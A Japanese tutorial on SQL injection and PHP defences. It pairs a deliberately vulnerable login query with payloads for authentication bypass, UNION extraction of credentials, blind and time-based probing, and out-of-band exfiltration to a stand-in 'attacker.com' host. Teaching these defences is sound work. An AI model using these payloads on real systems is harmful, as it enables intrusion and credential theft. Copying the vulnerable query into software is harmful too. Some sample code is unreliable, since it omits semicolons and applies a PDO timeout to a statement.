SQLインジェクションの基本から実践的な対策まで、具体的なコード例を交えて解説します。あなたのWebアプリケーションは本当に安全ですか?
SQLインジェクションの攻撃手法とプレースホルダ対策の実践ガイド
SQLインジェクションの仕組みから実際の攻撃手法、対策方法までを実践的なコード例と共に解説します。あなたのWebアプリケーションは本当に安全ですか?
SQLインジェクション攻撃は、Webアプリケーションの入力フォームなどを通じて、悪意のあるSQL文を注入する手法です。以下のような基本的なログイン処理のコードを例に説明します。
$user_id = $_POST['user_id']
$password = $_POST['password']
$sql = "SELECT * FROM users WHERE user_id='$user_id' AND password='$password'"
このコードには重大な脆弱性があります。例えば、user_idに「admin' OR '1'='1」を入力すると、以下のようなSQL文が生成されます:
SELECT * FROM users WHERE user_id='admin' OR '1'='1' AND password='password'
この場合、'1'='1'は常に真となるため、パスワードの検証をバイパスしてログインが可能になってしまいます。
SQLインジェクションへの対策として、以下の方法が効果的です:
$stmt = $pdo->prepare("SELECT * FROM users WHERE user_id = ? AND password = ?")
$stmt->bindValue(1, $user_id)
$stmt->bindValue(2, $password)
$stmt->execute()
$user_id = mysqli_real_escape_string($conn, $user_id)
$password = mysqli_real_escape_string($conn, $password)
if (!preg_match('/^[a-zA-Z0-9]+$/', $user_id)) {
die('不正な入力です')
}
より高度なSQLインジェクション攻撃には、以下のようなパターンがあります:
' UNION SELECT null,username,password FROM users--
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a
これらの攻撃に対する防御策:
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = :id")
$stmt->execute(['id' => $user_id])
$query = "SELECT * FROM products WHERE category = ?"
$stmt = $mysqli->prepare($query)
セキュアなアプリケーション開発のために、以下のベストプラクティスを実装することを推奨します:
try {
$stmt = $pdo->prepare($sql)
$stmt->execute($params)
} catch (PDOException $e) {
// エラーログの記録
error_log($e->getMessage())
// ユーザーへの一般的なエラーメッセージ
die('システムエラーが発生しました')
}
最近では、以下のような新しい攻撃手法も出現しています:
' AND IF(SUBSTRING(user,1,1)='a',SLEEP(5),0)--
' UNION ALL SELECT NULL,NULL,NULL,LOAD_FILE(CONCAT('\\\\',VERSION(),'.attacker.com\\abc'))--
これらの新しい攻撃に対する対策として、以下の実装が推奨されます:
$pdo->setAttribute(PDO::ATTR_TIMEOUT, 3)
$stmt->setAttribute(PDO::ATTR_TIMEOUT, 3)
$pdo->beginTransaction()
try {
$stmt->execute()
$pdo->commit()
} catch (Exception $e) {
$pdo->rollBack()
throw $e
}